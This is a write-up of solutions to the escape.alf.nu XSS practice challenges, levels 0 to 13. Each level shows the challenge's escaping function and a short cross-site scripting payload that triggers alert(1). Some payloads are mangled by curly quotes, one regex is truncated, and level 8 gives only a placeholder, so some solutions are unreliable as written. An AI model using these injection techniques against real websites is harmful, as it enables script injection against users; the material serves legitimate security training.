There are many solutions to Erling Ellingsen’s escape.alf.nu XSS challenges and I will be giving the solutions to first few challenges in the set. I suggest not to read the write-up before you attempting it. It can take several days to solve the challenges depending on the amount of knowledge you’ve on the same. It took me several days to complete up till the first three challenges and I’d be posting here on how to tackle them effectively and also the key points to note upon while solving the challenges.

Level 0:

function escape(s) {
  // Warmup.

  return 'console.log("'+s+'");';
}

Point to be noted to here is first we have to close the console.log and then fulfil with the requirement we want.

Solution: ");alert(1);//

Level 1:

function escape(s) {
  // Escaping scheme courtesy of Adobe Systems, Inc.
  s = s.replace(/"/g, '\\"');
  return 'console.log("' + s + '");';
}

The key point in the next level is that the s.replace(/""/g, '//"/'); replaces the " as /" for which we simply have to escape the backslash.

Solution: \");alert(1);//

Level 2

function escape(s) {
  s = JSON.stringify(s);
  return 'console.log(' + s + ');';
}

Pointed to be noted here is with the function JSON.stringify(s); which will escape double quotes into /” but then we can see that it doesn’t escape <> brackets. So what suddenly struck me was to make a script block and then execute alert(1) in it.

Solution: </script>alert(1)

Level 3

function escape(s) {
  var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
  console.log(url);

  var a = document.createElement('a');
  a.href = url;
  document.body.appendChild(a);
  a.click();
}

Point to be noted here is that console.log(url) which make us enable to use URL encoding for double quotes because it’s being escaped here.

Solution: %22);alert(1);//

Level 4

function escape(s) {
  var text = s.replace(/</g, '&lt;').replace('"', '&quot;');
  // URLs
  text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  // [[img123|Description]]
  text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
  return text;
}

Point to be noted here is that < is being globally replaced by &lt and is being replaced once by &quot . Then I noticed how it is being replaced and then I split the whole thing up inside the text.replace() and then arrived at the solution. Moreover the escape function uses a template like [[src|alt]].

Solution: [[a|””onload=alert(1);//]]

It will be rendered as:

<img src=”a.gif” onload=”alert(1)” alt”““>

Level 5

function escape(s) {
  // Level 4 had a typo, thanks Alok.
  // If your solution for 4 still works here, you can go back and get more points on level 4 now.

  var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
  // URLs
  text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  // [[img123|Description]]
  text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
  return text;
}

There were two points to be noted. One was that in the comment part which made me realize that it had similarity to that of the previous question and even before reading the rest, I tried the previous payload which didn’t work. Later I went through the rest of the code and figured out that it was in an http context.

Solution: [[a|http://onload=alert(1);//]]

Level 6

function escape(s) {
  // Slightly too lazy to make two input fields.
  // Pass in something like "TextNode#foo"
  var m = s.split(/#/);

  // Only slightly contrived at this point.
  var a = document.createElement('div');
  a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
  return a.innerHTML;
}

First I noticed the comment section and figured out how TextNode#foo would show up and it just showed foo. Then I started reviewing all the functions in the DOM that begin with create as it is there in the function. Then I figured out the createComment from which I tried giving Comment#foo which showed <!–<foo>–> from which it made easy for the solution.

Solution: Comment#><svg/onload=alert(1)

Level 7

function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/);

  if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/</g, '\\u003c');
  return "" + thing[0] + "(" + json +")";
}

Pointed to be noted here was that, first I gave input as there in the comment part and tried to analyse how it being rendered. Then I tried to play with it such that alert(1) gets executed.

Solution: ‘#’;alert(1)//

Level 8

function escape(s) {
  // Courtesy of Skandiabanken
  return 'console.log("' + s.toUpperCase() + '")';
}

Here, the point to be noted was that, the string which you enter is converted into uppercase. Hence we need to figure a way out to print alert(1). Why not try JSfuck?

Solution: “);<alert(1) in JSfuck>;//

Level 9

function escape(s) {
  // This is sort of a spoiler for the last level 🙂

  if (/[\\<>]/.test(s)) return '-';

  return 'console.log("' + s.toUpperCase() + '")';
}

This is the same thing as the previous case and would suggest the same solution that is by using JSFuck.

Level 10

function escape(s) {
  function htmlEscape(s) {
    return s.replace(/./g, function(x) {
       return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": ''' }[x] || x;       
     });
  }

  function expandTemplate(template, args) {
    return template.replace(
        /{(\w+)}/g,
        function(_, n) {
           return htmlEscape(args[n]);
         });
  }

  return expandTemplate(
    "                                                \n\
      <h2>Hello, <span id=name></span>!</h2>         \n\
                                             \n\
         var v = document.getElementById('name');    \n\
         v.innerHTML = '{name}';       \n\
                                           \n\
    ",
    { name : s }
  );
}

Here once we try to execute, we can see that etc all are filtered except ‘ \ ‘. So we convert to octal and then give.

Solution: \74svg onload=alert(1)\76

Level 11

function escape(s) {
  // Spoiler for level 2
  s = JSON.stringify(s).replace(/

  return 'console.log(' + s + ');';
}

What happens here is that it just takes escapes ‘\’ and ‘ ” ‘ and not < brackets and so after that function returns the values, it again gets checked for “<” and replace it globally with ” “.

Solution: </</scriptscript>alert(1);//

Level 12

function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/);

  if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/\//g, '\\/');
  return "" + thing[0] + "(" + json +")";
}

Point to be noted is that backslashes are also being filtered and want to find a way out to comment it out and that is by <!–

Solution: ‘#’;alert(1)<!–

Level 13

function escape(s) {
  var tag = document.createElement('iframe');

  // For this one, you get to run any code you want, but in a "sandboxed" iframe.
  //
  // http://print.alf.nu/?html=... just outputs whatever you pass in.
  //
  // Alerting from print.alf.nu won't count; try to trigger the one below.

  s = '<script>' + s + '<\/script>';
  tag.src = 'http://print.alf.nu/?html=' + encodeURIComponent(s);

  window.WINNING = function() { youWon = true; };

  tag.onload = function() {
    if (youWon) alert(1);
  };
  document.body.appendChild(tag);
}

iFrame has got a feature. It is setting the name attribute on an iFrame sets the name of the property in the global window object.

Solution: name=’youWon’

The rest of the solutions will be updated later. Do subscribe and raise questions if anything over here Twitter